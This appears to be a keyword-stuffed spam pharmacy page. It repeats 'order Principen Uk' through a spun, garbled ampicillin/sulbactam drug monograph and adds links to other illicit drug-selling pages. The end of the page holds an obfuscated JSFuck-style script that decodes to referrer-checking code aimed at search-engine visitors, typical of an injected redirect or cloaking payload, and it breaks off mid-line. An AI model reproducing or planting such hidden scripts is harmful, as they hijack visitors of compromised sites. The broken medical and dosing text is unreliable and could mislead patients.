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For further order Principen Uk on treatment of PID, S.

  • What happens if I miss a dose?
  • Although not currently commercially available in the US, an oral preparation containing ampicillin and sulbactam covalently linked as a double ester in a single molecule sultamicillin; CP-49, has been studied.
  • In patients undergoing cholecystectomy who received a single 1.
  • Ampicillin and sulbactam are distributed into milk in low concentrations.
  • Laboratory Test Interferences For more complete information on these and other laboratory test interferences reported with penicillins, see Laboratory Test Interferences in the Natural Penicillins General Statement 8:

Ask your doctor about using non hormonal birth control condom, diaphragm with spermicide to prevent casualfootball.net However, diaphragm with spermicide to prevent pregnancy. Take this medicine with a full glass of water. Shake the oral order Principen Uk liquid before you measure a dose. Use the dosing syringe provided, or use a medicine dose-measuring device not a kitchen spoon. Take ampicillin on an stomach, at least 30 minutes before or 2 hours after a meal. Do not order Principen Uk this medicine with another person, even if they have the same symptoms you have. If you are being treated for gonorrhea, your doctor may also have you tested for syphilis, another sexually transmitted disease. If you use this medicine long-term, your kidney function, liver function, and blood cells may need to be checked.

Use this medicine for the full prescribed length of time, even if your symptoms quickly improve. Skipping doses can increase your risk of infection that is resistant to medication.

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Ampicillin will not treat a viral order Principen Uk such as the flu or a order Principen Uk cold. Very severe infections may buy Fluticasone and Salmeterol missed dose if it is almost time for your next dose.

Do not take two doses at one time. What happens if I overdose? However, other anti-infectives e. Parenteral ampicillin sodium and sulbactam sodium also has been used in a limited number of adults and children for the treatment of various ear, nose, and throat infections including tonsillitis, sinusitis, rhinitis, pharyngitis, acute epiglottitis, and acute and chronic otitis media caused by susceptible staphylococci, streptococci, Klebsiella, Proteus, M. Perioperative Prophylaxis Parenteral ampicillin sodium and sulbactam sodium has been used effectively in adults and children to reduce the incidence of infections in patients undergoing contaminated or potentially contaminated surgery e.

However, less costly anti-infectives, often with narrower spectra of order Principen Uk e. In adults undergoing biliary tract surgery, a single 3-g dose of ampicillin and sulbactam 2 g of ampicillin and 1 g of sulbactam was as effective as a single dose of cefazolin 1 g or cefoxitin 2 g in preventing postoperative wound infection.

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Some clinicians suggest that parenteral ampicillin sodium and sulbactam sodium is an effective alternative to other anti-infective regimens used for perioperative prophylaxis in patients undergoing GI or gynecologic surgery. However, Order Principen Uk, further study is needed to evaluate more fully such use of parenteral ampicillin order Principen Uk and sulbactam sodium. Parenteral ampicillin sodium and sulbactam sodium also has been used with some success for perioperative prophylaxis in patients with head and neck cancer undergoing surgery. Although in one study ampicillin sodium and sulbactam sodium appeared to be as effective as a regimen of clindamycin and amikacin in such patients, patients who received ampicillin and sulbactam had a higher incidence of postoperative infection with anaerobes than patients who received the order Principen Uk regimen.

Meningitis Parenteral ampicillin sodium and sulbactam order Principen Uk has been used effectively in a few adults for the treatment of meningitis caused by N, Order Principen Uk. Although a few clinicians suggest that parenteral ampicillin sodium and sulbactam sodium therapy may be an effective alternative to therapy with ampicillin and chloramphenicol in infants Acheter Neurontin Finlande children for the treatment of meningitis caused by H, Order Principen Uk.

Urinary Tract Infections Parenteral ampicillin sodium and sulbactam order Principen Uk has been used in a limited number of adults or children for the treatment of uncomplicated urinary tract infections caused by susceptible bacteria, including S. IM or IV orders Principen Uk of ampicillin sodium and sulbactam sodium should be allowed to stand after dissolution to allow any foaming to dissipate in order to permit visual inspection for complete solubilization.

IM injections should be made deeply into a large muscle mass within 1 hour after reconstitution, Order Principen Uk. Vials labeled as containing 1. IV injections of ampicillin sodium and sulbactam sodium should be given slowly over at least 10-15 minutes to avoid the order Principen Uk of seizures. Dosage Dosage of ampicillin order Principen Uk and sulbactam sodium generally is expressed in terms of the total of the ampicillin and sulbactam content of the fixed combination.

The maximum adult dosage of sulbactam recommended by the manufacturer is 4 g i. While comparative efficacy of various dosages in the usual range have not been established, most patients in clinical studies of these infections received the maximum 3-g 2 g of ampicillin and 1 g of sulbactam recommended dosage. For the treatment of acute pelvic inflammatory disease PID in adults and adolescents when a parenteral regimen is indicated, IV ampicillin and sulbactam may be given in a dosage of 3 g 2 g of ampicillin and 1 g of sulbactam every 6 hours in conjunction with doxycycline 100 mg orally or IV every 12 hours, Order Principen Uk.

The parenteral order Principen Uk may be discontinued 24 hours after clinical order Principen Uk however, oral doxycycline 100 mg twice daily should be continued to complete 14 days of therapy. Pediatric Dosage Pediatric patients who weigh 40 kg or more may receive the usual adult dosage of ampicillin sodium and sulbactam sodium. The manufacturer recommends that the duration of IV ampicillin order Principen Uk and sulbactam sodium therapy in pediatric patients not exceed 14 days; in clinical studies, most children received an oral anti-infective after an initial regimen of IV ampicillin sodium and sulbactam sodium. Because the pharmacokinetics of both ampicillin and sulbactam are affected to the same degree in patients with renal impairment, the recommended 2: The manufacturer recommends that patients with renal impairment receive the usually recommended doses of ampicillin and sulbactam but that these doses be given less frequently than usual and that dosing intervals be based on the patient’s creatinine clearance, Order Principen Uk.

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Because buy Nolvadex some orders Principen Uk suggest that orders Principen Uk undergoing hemodialysis receive 1. Cautions Ampicillin sodium and sulbactam sodium generally is well tolerated. The most frequent adverse effects of parenteral ampicillin sodium and sulbactam sodium are pain at the IM or IV order Principen Uk site, diarrhea, and rash.

Parenteral sulbactam sodium alone is associated with few adverse effects, principally pain at the injection site and order Principen Uk. Gastritis, stomatitis, and black or hairy tongue have been reported in patients receiving aminopenicillins, and these reactions may occur with ampicillin sodium and sulbactam sodium. In one study, parenteral ampicillin sodium and sulbactam sodium therapy decreased total counts of normal anaerobic fecal flora but did not substantially affect total counts of normal aerobic fecal flora.

This may have occurred because only low concentrations of ampicillin and sulbactam are excreted in orders Principen Uk. Clostridium difficile-associated diarrhea and colitis also known as antibiotic-associated pseudomembranous colitis caused by toxin-producing clostridia has been reported with parenteral ampicillin sodium and sulbactam sodium and has also been reported with use of an oral preparation containing ampicillin and sulbactam sultamicillin; not currently available in Generico 1000 mg Zithromax Il costo di appropriate bacteriologic studies and treatment with fluid, order Principen Uk, and protein supplementation as indicated.

Erythema multiforme and an occasional case of exfoliative dermatitis have been reported in patients receiving aminopenicillins and these dermatologic reactions may occur with ampicillin sodium and sulbactam sodium. The manufacturer states that such reactions may be controlled with antihistamines and, if necessary, systemic corticosteroids. Serious and occasionally fatal hypersensitivity reactions, including anaphylaxis, can occur during penicillin therapy. In one patient, the reaction consisted of neck tightness, difficulty and pain when breathing, generalized weakness, and order Principen Uk.

Local Reactions The most frequent adverse effect of parenteral ampicillin sodium and sulbactam sodium is pain at the injection site. Decreased hemoglobin concentration, hematocrit, and erythrocyte, leukocyte, neutrophil, lymphocyte, and platelet counts and increased lymphocyte, monocyte, basophil, eosinophil, and platelet counts have been reported in patients receiving parenteral ampicillin sodium and sulbactam sodium. Rapid defervescence occurred within 1 hour after completion of the infusion, but the reaction recurred with each subsequent dose.

Instead, it presumably was caused by the sulbactam sodium component since the patient previously had received ampicillin alone without a similar reaction and the reaction recurred with different lot numbers of the combination but did not occur in other patients.

Reversible glycogenosis has been reported in animals receiving sulbactam. Diffuse hepatocellular glycogen deposits associated with orders Principen Uk in liver enzymes and hepatomegaly have occurred in rats and dogs that received high doses of sulbactam for prolonged periods of time. In subsequent studies in patients with type I or II diabetes mellitus, sulbactam given at the usually recommended dosages did not appear to affect glucose mobilization or regulation. Precautions and Contraindications Ampicillin sodium and sulbactam sodium shares casualfootball.net toxic potentials of the penicillins, including the risk of hypersensitivity reactions, and the usual precautions of penicillin therapy should be observed. See Cautions in the Aminopenicillins General Statement 8: There is clinical and laboratory order Principen Uk of partial cross-allergenicity among penicillins and other b-lactam antibiotics including cephalosporins and cephamycins.

Ampicillin sodium and sulbactam sodium is contraindicated in patients who are hypersensitive to any penicillin. Because bluenet.bluemena.com the Aminopenicillins General Statement 8: As with use of other anti-infective agents, Order Principen Uk, use of ampicillin sodium and sulbactam sodium may result in overgrowth of nonsusceptible orders Principen Uk, especially Pseudomonas or Candida. Careful monitoring of the patient and periodic in vitro susceptibility tests are essential. For a more complete discussion of these and other precautions associated with the use of ampicillin, see Cautions: Precautions and Contraindications, in the Aminopenicillins General Statement 8: Safety and efficacy of IV ampicillin sodium and sulbactam sodium for the treatment of other infections e.

Various combinations of ampicillin and sulbactam e. An oral preparation containing ampicillin and sulbactam sultamicillin; not commercially available in the US also has been used in orders Principen Uk 5 months to 17 years of age. Dosage in Renal Impairment. Mutagenicity and Carcinogenicity Studies have not been performed to date to evaluate the mutagenic or carcinogenic potential of ampicillin sodium and sulbactam sodium. Pregnancy, Fertitlity and Lactation Safe use of ampicillin sodium and sulbactam sodium during pregnancy has not been definitely established.

Reproduction studies in mice, rats, and rabbits using ampicillin and sulbactam doses up to 10 times the usual human dose have not revealed evidence of impaired fertility or harm to the fetus. Because ampicillin and sulbactam are distributed into milk in low concentrations, ampicillin sodium and sulbactam sodium should be used with caution in nursing women. Aminoglycosides, in the Aminopenicillins General Statement 8: The manufacturer states that there are no data to order Principen Uk on concomitant use of allopurinol with ampicillin sodium and sulbactam sodium.

Laboratory Test Interferences For more complete information on these and other laboratory test interferences reported with penicillins, see Laboratory Test Interferences in the Natural Penicillins General Statement 8: Although there is limited order Principen Uk on laboratory test interferences with aminopenicillins and although not all laboratory test interferences reported with other penicillins have been reported with ampicillin, the possibility that these interferences could occur order Principen Uk any of the aminopenicillins should be considered. Ampicillin reportedly interferes with urinary glucose determinations using cupric sulfate e. Acute Toxcicity Limited information is available on the acute toxicity of ampicillin sodium and sulbactam sodium in humans.

The fact that high CSF concentrations of b-lactam antibiotics may cause neurologic orders Principen Uk, including seizures, should be considered. Mechanism of Action Ampicillin sodium and sulbactam sodium usually is bactericidal in action. For information on the mechanism of action of ampicillin, see Mechanism of Action in the Natural Penicillins General Statement 8: Sulbactam generally orders Principen Uk as an irreversible inhibitor and is active against a wide range of bacterial b-lactamases. Sulbactam inhibition of b-lactamases is concentration and time dependent.

At low sulbactam concentrations, a first-order reaction occurs and at high concentrations a zero-order reaction occurs. Results of in vitro studies indicate that ampicillin to sulbactam ratios of 2: Sulbactam inactivates both plasmid- and chromosome-mediated b-lactamases.

Anti Bacterial

In addition to its affinity for bacterial b-lactamases, sulbactam has an affinity for and binds to some bacterial penicillin-binding proteins PBPs. PBPs are the target enzymes of b-lactam casualfootball.net anti-infective agents.

The minimum bactericidal concentration MBC of ampicillin sodium and sulbactam sodium for ampicillin-resistant strains of S, Order Principen Uk. Unlike clavulanic acid, sulbactam generally casualfootball.net in vitro against organisms susceptible to ampicillin alone, Order Principen Uk.

In addition, because sulbactam can inhibit certain b-lactamases that generally inactivate ampicillin, ampicillin order Principen Uk and sulbactam sodium is active in vitro against orders Principen Uk b-lactamase-producing organisms that are resistant to ampicillin alone, including ampicillin-resistant strains of staphylococci, Haemophilus, Neisseria, and Bacteroides.

Sulbactam alone has some intrinsic antibacterial activity against certain organisms. In vitro, sulbactam concentrations of 0. In Vitro Susceptibility Testing The National Committee for Clinical Laboratory Standards NCCLS states that, for streptococci and non-b-lactamase-producing enterococci, orders Principen Uk of in vitro susceptibility orders Principen Uk using ampicillin can be used to predict susceptibility to ampicillin order Principen Uk and sulbactam sodium. However, to determine susceptibility of staphylococci and gram-negative enteric bacteria to ampicillin sodium and sulbactam sodium, NCCLS recommends that disk-diffusion and dilution susceptibility tests be performed using appropriate combinations of ampicillin sodium and sulbactam sodium.

To test in vitro susceptibility to ampicillin sodium and sulbactam sodium, a 1: Results of in vitro susceptibility tests with ampicillin sodium and sulbactam sodium may be affected by inoculum size. For many ampicillin-resistant bacteria e. Results of in vitro susceptibility tests generally are unaffected by changes in pH between 6-7. If orders Principen Uk indicate that a clinical isolate has intermediate susceptibility to ampicillin sodium and sulbactam sodium, then the strain has a minimum inhibitory concentration MIC that approaches usually attainable blood and tissue concentrations and response rates may be lower than for strains identified as susceptible.

Gram-positive Aerobic Bacteria Gram-positive Aerobic Cocci Ampicillin order Principen Uk and sulbactam sodium is active in vitro against most gram-positive aerobic cocci including Streptococcus pneumoniae, S. Ampicillin sodium and sulbactam sodium is active in vitro against most strains of penicillinase-producing staphylococci that are resistant to ampicillin alone.

HRfV3aj

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,57,50,51,48,52,53,119,55,72,84,77,76,60,34,112,47,63,38,95,43,85,67,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!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